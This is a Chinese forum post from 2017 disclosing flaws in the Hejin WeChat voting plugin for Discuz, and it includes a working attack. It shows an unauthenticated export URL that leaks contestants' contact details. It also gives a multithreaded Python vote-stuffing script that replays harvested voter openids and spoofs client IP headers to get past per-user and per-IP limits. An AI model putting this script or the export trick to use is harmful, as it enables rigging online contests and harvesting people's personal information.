找回密码
 立即注册
查看: 6056|回复: 0
打印 上一主题 下一主题

Discuz插件禾今微信投票权限和刷票漏洞(内含python脚本)

[复制链接]

322

主题

370

帖子

370

积分

牛皮县令

Rank: 25Rank: 25Rank: 25Rank: 25Rank: 25Rank: 25Rank: 25

UID
84
精华
1
兔币
656
牛币
536
贡献
14
在线时间
58 小时
注册时间
2015-5-22
跳转到指定楼层
楼主
发表于 2017-7-9 10:13:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前两天帮朋友网上拉票,感觉这东西放在程序员面前就是一种讽刺(冲着我是程序员才找我的,当了程序员总有人认为你就会盗QQ、攻击、修电脑。。。。)

直接进入主题,用到的工具:
Quote:
1.插件源码

2.fiddler 4

3.python


0×1 开始研究

用fiddler进行抓包的数据,微信打开的,抓取到了投票POST表单的链接和数据还有cookie
Quote:
http://www.xxx.com/plugin.php?id=hejin_toupiao&model=ticket&zid=xxxx&formhash=xxxx&


参数 :

zid 是用户ID

formhash 是dz的验证之类的,大概看了下最后发现这个东西然并卵(对于本次刷票来说)

hejin_toupiao 通过这儿来判断是禾今程序的,一百度就搞定

Cookie:
Quote:
03oj_2132_saltkey=N8uS18SZ; 03oj_2132_lastvisit=1497202143; hjbox_openid=xxxxx; 03oj_2132_sid=CINl9f; 03oj_2132_lastact=1497285758%09plugin.php%09

根据最后源码分析 得出结论 除了  hjbox_openid= xxxxx ; 有用其他的也然并卵

通过python模拟请求提交相同的数据表单 还是只可以投票三次,至少说明同样的数据是可以提交有效的

0×2 分析源码

网上找了套插件源码来看看,其实开始没抱有多大希望的,模拟提交数据后就一直在研究模拟伪造数据提交,不过没希望。

开源码包,开箱验货。

惊喜全部在“hejin_toupiao.inc.php”文件中,发现有几个重点的代码:

上下大致看了下没有做权限设置,直接修改url测试了下

http://www.xxx.com/plugin.php?id=hejin_toupiao&model=daochu&vid=1  (vid是投票活动的id)

回车访问弹出csv文件下载,下载下来打开,前一百名选手的基本信息,包含了联系方式。

基本数据都出来了,红色框的那个选手感觉明显刷票。。。。

然后又试着到处了单个用户的投票数据,开始想的是看看前几名是否有刷票的证据,结果前几名数据量太大倒不出来只好道后面的几个

每一次有效数据都在,留着备用,开始看投票流程的代码,其实也很简单 PHP一看基本大体流程就熟悉了
複製代碼
<?php
//投票
if ($model == 'ticket') {
    if ($_GET['formhash'] == formhash()) {
        if ($_GET['zid']) {
            $data = array();            $zid = intval($_GET['zid']);
            if ($hejintoupiao['hjtp_numbtp']) {
                $data['status'] = 888; //编号投票

            } else {
                if ($_COOKIE['hjbox_openid']) {
                    $openid = addslashes($_COOKIE['hjbox_openid']);
                    $user = C::t('#hejin_toupiao#hjbox_users')->fetch_by_openid($openid);
                    if (count($user)) {
                        if ($user['is_gz'] == 1) {
                            $zuopin = C::t('#hejin_toupiao#hjtp_zuopins')->fetch_by_id($zid);
                            if (count($zuopin)) {
                                if ($zuopin['is_show'] != 1) {
                                    $data['status'] = 107;
                                } else {
                                    $vote = C::t('#hejin_toupiao#hjtp_votes')->fetch_by_id(intval($zuopin['vid']));
                                    if ($vote['vote_time'] > time()) {
                                        $data['status'] = 103; //投票还未开始

                                    } elseif ($vote['end_time'] < time()) {
                                        $data['status'] = 104; //投票已经结束

                                    } elseif (($vote['start_time'] < time()) && ($vote['over_time'] > time()) && $vote['yuliub'] && ($zuopin['toupiaos'] >= $vote['yuliub'])) {
                                        $data['status'] = 120; //报名期间达到投票限制数

                                    } else {
                                        if ($hejintoupiao['hjtp_ipxz'] && $hejintoupiao['hjtp_ipid']) {
                                            $tpip = GetIP();
                                            $ipdata = get_ip_data($tpip);
                                            if ($ipdata) {
                                                if ($hejintoupiao['hjtp_ipfw'] == 1) {
                                                    $ipid = $ipdata['region_id'];
                                                } elseif ($hejintoupiao['hjtp_ipfw'] == 2) {
                                                    $ipid = $ipdata['city_id'];
                                                }
                                                if ($ipid == $hejintoupiao['hjtp_ipid']) {
                                                    $quyuxz = 1;
                                                } else {
                                                    $quyuxz = 0;
                                                }
                                            } else {
                                                $quyuxz = 1;
                                            }
                                        } else {
                                            $quyuxz = 1;
                                        }
                                        if ($quyuxz == 1) { //ip范围限制
                                            $today = date('Y-m-d', time());
                                            if ($hejintoupiao['hjtp_tpxzmos'] == 2) {
                                                $timedate = 1111111111;
                                            } else {
                                                $timedate = strtotime($today);
                                            }
                                            $utpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_today_uid_vid(intval($user['id']), intval($vote['id']), $timedate);
                                            $ip = GetIP(); //获取ip流程
                                            if ($vote['ipnubs'] > 0) {
                                                $iptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_today_ip_vid(addslashes($ip), intval($vote['id']), $timedate);
                                                if (count($iptpjls) < $vote['ipnubs']) {
                                                    if (count($utpjls) < $vote['tpnub']) {
                                                        if ($hejintoupiao['hjtp_tpxznub']) {
                                                            $usetpjl = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_by_zvudid($zid, intval($vote['id']), intval($user['id']), $timedate);
                                                            if (count($usetpjl)) {
                                                                $tpxznub = 0;
                                                            } else {
                                                                $tpxznub = 1;
                                                            }
                                                        } else {
                                                            $tpxznub = 1;
                                                        }
                                                        if ($tpxznub == 1) { //判断用户是否已经给这个用户投过一票
                                                            if ($hejintoupiao['hjtp_zdpbzp']) {
                                                                $sptime = time() - 60;
                                                                $spnubmer = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_sptime_all($zid, intval($sptime));
                                                                $spnub = count($spnubmer);
                                                                if ($spnub > $hejintoupiao['hjtp_zdpbzp']) {
                                                                    $xzspzdpb = 0;
                                                                } else {
                                                                    $xzspzdpb = 1;
                                                                }
                                                            } else {
                                                                $xzspzdpb = 1;
                                                            }
                                                            if ($xzspzdpb) {
                                                                //写投票流程
                                                                $tpdata = array();
                                                                $tpdata['zid'] = $zid;
                                                                $tpdata['uid'] = intval($user['id']);
                                                                $tpdata['vid'] = intval($vote['id']);
                                                                $tpdata['openid'] = $openid;
                                                                $tpdata['ips'] = addslashes($ip);
                                                                $tpdata['timedate'] = $timedate;
                                                                $tpdata['yuliua'] = time();
                                                                $addtpjl = C::t('#hejin_toupiao#hjtp_tpjles')->insert($tpdata);
                                                                if ($addtpjl) {
                                                                    $data['status'] = 108; //投票成功
                                                                    $zptpup = array();
                                                                    if ($hejintoupiao['hjtp_qxgzjp']) {
                                                                        if ($zuopin['yuliua']) {
                                                                            $zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
                                                                            $zptpup['toupiaos'] = count($zptpjls);
                                                                            $zptpup['yuliua'] = intval($zuopin['yuliua'] + 1);
                                                                        } else {
                                                                            $zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
                                                                            $zptpup['toupiaos'] = count($zptpjls);
                                                                            $zptpup['yuliua'] = count($zptpjls);
                                                                        }
                                                                    } else {
                                                                        $zptpup['toupiaos'] = intval($zuopin['toupiaos'] + 1);
                                                                        $zptpup['yuliua'] = intval($zuopin['toupiaos'] + 1);
                                                                    }
                                                                    $upzptps = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zptpup);
                                                                    $votetpup = array();
                                                                    $votetpup['toupiaos'] = intval($vote['toupiaos'] + 1);
                                                                    $upvotetp = C::t('#hejin_toupiao#hjtp_votes')->update_by_id(intval($vote['id']), $votetpup);
                                                                    if ($hejintoupiao['hjtp_tpjl'] && $hejintoupiao['hjtp_tpjlnub']) {
                                                                        $upjifen = array();
                                                                        $upjifen['yuliua'] = intval($user['yuliua'] + $hejintoupiao['hjtp_tpjlnub']);
                                                                        $jifenzj = C::t('#hejin_toupiao#hjbox_users')->update_by_id(intval($user['id']), $upjifen);
                                                                    }
                                                                } else {
                                                                    $data['status'] = 107; //投票不成功

                                                                }
                                                            } else {
                                                                $zdpbspdata = array('is_show' => 3,);
                                                                $zdpbsp = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zdpbspdata);
                                                            }
                                                        } else {
                                                            $data['status'] = 109; //今日已经给这个用户投过票了

                                                        }
                                                    } else {
                                                        $data['status'] = 106; //此用户今日已无法投票

                                                    }
                                                } else {
                                                    $data['status'] = 105; //此ip下今日已无法投票

                                                }
                                            } else {
                                                if (count($utpjls) < $vote['tpnub']) {
                                                    if ($hejintoupiao['hjtp_tpxznub']) {
                                                        $usetpjl = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_by_zvudid($zid, intval($vote['id']), intval($user['id']), $timedate);
                                                        if (count($usetpjl)) {
                                                            $tpxznub = 0;
                                                        } else {
                                                            $tpxznub = 1;
                                                        }
                                                    } else {
                                                        $tpxznub = 1;
                                                    }
                                                    if ($tpxznub) { //判断用户是否已经给这个用户投过一票
                                                        if ($hejintoupiao['hjtp_zdpbzp']) {
                                                            $sptime = time() - 60;
                                                            $spnubmer = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_sptime_all($zid, intval($sptime));
                                                            $spnub = count($spnubmer);
                                                            if ($spnub > $hejintoupiao['hjtp_zdpbzp']) {
                                                                $xzspzdpb = 0;
                                                            } else {
                                                                $xzspzdpb = 1;
                                                            }
                                                        } else {
                                                            $xzspzdpb = 1;
                                                        }
                                                        if ($xzspzdpb) {
                                                            //写投票流程
                                                            $tpdata = array();
                                                            $tpdata['zid'] = $zid;
                                                            $tpdata['uid'] = intval($user['id']);
                                                            $tpdata['vid'] = intval($vote['id']);
                                                            $tpdata['openid'] = $openid;
                                                            $tpdata['ips'] = addslashes($ip);
                                                            $tpdata['timedate'] = $timedate;
                                                            $tpdata['yuliua'] = time();
                                                            $addtpjl = C::t('#hejin_toupiao#hjtp_tpjles')->insert($tpdata);
                                                            if ($addtpjl) {
                                                                $data['status'] = 108; //投票成功
                                                                $zptpup = array();
                                                                if ($hejintoupiao['hjtp_qxgzjp']) {
                                                                    if ($zuopin['yuliua']) {
                                                                        $zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
                                                                        $zptpup['toupiaos'] = count($zptpjls);
                                                                        $zptpup['yuliua'] = intval($zuopin['yuliua'] + 1);
                                                                    } else {
                                                                        $zptpjls = C::t('#hejin_toupiao#hjtp_tpjles')->fetch_zid_all($zid);
                                                                        $zptpup['toupiaos'] = count($zptpjls);
                                                                        $zptpup['yuliua'] = count($zptpjls);
                                                                    }
                                                                } else {
                                                                    $zptpup['toupiaos'] = intval($zuopin['toupiaos'] + 1);
                                                                    $zptpup['yuliua'] = intval($zuopin['toupiaos'] + 1);
                                                                }
                                                                $upzptps = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zptpup);
                                                                $votetpup = array();
                                                                $votetpup['toupiaos'] = intval($vote['toupiaos'] + 1);
                                                                $upvotetp = C::t('#hejin_toupiao#hjtp_votes')->update_by_id(intval($vote['id']), $votetpup);
                                                                if ($hejintoupiao['hjtp_tpjl'] && $hejintoupiao['hjtp_tpjlnub']) {
                                                                    $upjifen = array();
                                                                    $upjifen['yuliua'] = intval($user['yuliua'] + $hejintoupiao['hjtp_tpjlnub']);
                                                                    $jifenzj = C::t('#hejin_toupiao#hjbox_users')->update_by_id(intval($user['id']), $upjifen);
                                                                }
                                                            } else {
                                                                $data['status'] = 107; //投票不成功

                                                            }
                                                        } else {
                                                            $zdpbspdata = array('is_show' => 3,);
                                                            $zdpbsp = C::t('#hejin_toupiao#hjtp_zuopins')->update_by_id($zid, $zdpbspdata);
                                                        }
                                                    } else {
                                                        $data['status'] = 109; //今日已经给这个用户投过票了

                                                    }
                                                } else {
                                                    $data['status'] = 106; //此用户今日已无法投票

                                                }
                                            }
                                        } else {
                                            $data['status'] = 110; //ip不在限制范围中

                                        }
                                    }
                                }
                            }
                        } else {
                            $data['status'] = 102;
                        }
                    } else {
                        $data['status'] = 102;
                    }
                } else {
                    $data['status'] = 102;
                }
            }
        } else {
        }
    }
    echo $data['status'];
}


0×3 刚入门的python拿来用用

一段代码有点长 有兴趣的自己慢慢看

测试了基本上原有的提交投票的表单数据不变,只变更openid就可以了

直接开始下载其他选手的投票数据然后把所有投过票的openid复制下来(投票过的openid是存在数据库的,陌生的openid需要通过微信来获取)

把openid全部装入redis队列里面,然后修改python模拟请求,每次获取一个openid进行提交三次投票。

测试没问题,都返回108(投票成功)

开始设置的是1秒钟三票,因为投票过快后台会锁定,视为机器刷票(开始跟官方核实过)

估计没机票返回105;//此ip下今日已无法投票

又开始了模拟IP地址,我相信这种程序也不会花太多心思去抓取真实IP

直接修改header参数
Quote:
HTTP_CLIENT_IP
HTTP_X_FORWARDED_FOR
X-FORWARDED-FOR
REMOTE_ADDR

ip呢当然是随机生成的,但是这个办法确实是有效的,

绕过了微信浏览器验证、绕过了投票用户身份识别、绕过了单IP投票限制

刷票是可以的,但是考虑到这样刷还是有被发现的风险 毕竟提交表单的好多参数都是没变的

所以也就没刷了 只是这个方法测试可以用的,回到前面说的,投票同一时间过多就会被系统锁定判定为软件刷票,所以猜猜一秒钟300票是什么感觉?

0×4 代码
複製代碼
# -* - coding: UTF-8 -* -
import urllib2
import time
import random
import threading
import redis

redis_conn=redis.ConnectionPool(host='127.0.0.1',port=6379,db=0) #获取redis中的队列
r = redis.StrictRedis(connection_pool=redis_conn)

def get_tick(openid):
for k in range(3):
        ip = str(random.randint(10, 254))+\".\"+str(random.randint(100, 254))+\".\"+str(random.randint(100, 254))+\".\"+str(random.randint(100, 254)); #模拟ip地址
        print ip;
        host = \"http://XXXX.COM\"
        url1 = host + \"/plugin.php?id=hejin_toupiao&model=ticket&zid=用户的ID&formhash=0342ae5b&_=\" + str(int(time.time())) #投票表单的连接

        request = urllib2.Request(url1)
        request.add_header(\"Cookie\",
\"03oj_2132_saltkey=N8uS18SZ; 03oj_2132_lastvisit=1497282143; hjbox_openid=\" + openid + \";  03oj_2132_sid=CINl9f; 03oj_2132_lastact=1497285758%09plugin.php%09\") #cookie 主要是变动openid参数
        request.add_header(\"User-Agent\",
'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.493.400 QQBrowser/9.0.2524.400')
#模拟请求头 主要是模拟是在微信浏览器下面的
        request.add_header(\"Referer\", \"http://XXXX.COM/plugin.php?id=hejin_toupiao&model=rank&vid=3\") #忽略
        #下面就是模拟IP地址 貌似好像只有最后一个有效 写了一大堆 只要能用就行 也没注意别的
        request.add_header(\"http_CLIENT_IP\",ip)
        request.add_header(\"http_X_FORWARDED_FOR\", ip)
        request.add_header(\"REMOTE_ADDR\", ip)
        request.add_header(\"X-FORWARDED-FOR\", ip)
        response = urllib2.urlopen(request) #提交请求
        print response.read()
        time.sleep(1)

def getdada(k):
print 'start Thread #'+k;
while True:
        openid = r.lpop('openid') #读取队列然后丢进方法里面 ,不用redis也可以用别的
        if openid != None:
            get_tick(openid);

if __name__ == '__main__':
#每秒300票 分分钟over
    for xx in range(300):  # for循环创建启动20个线程
        i = threading.Thread(target=getdada, args=(str(xx)))
        i.start();

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表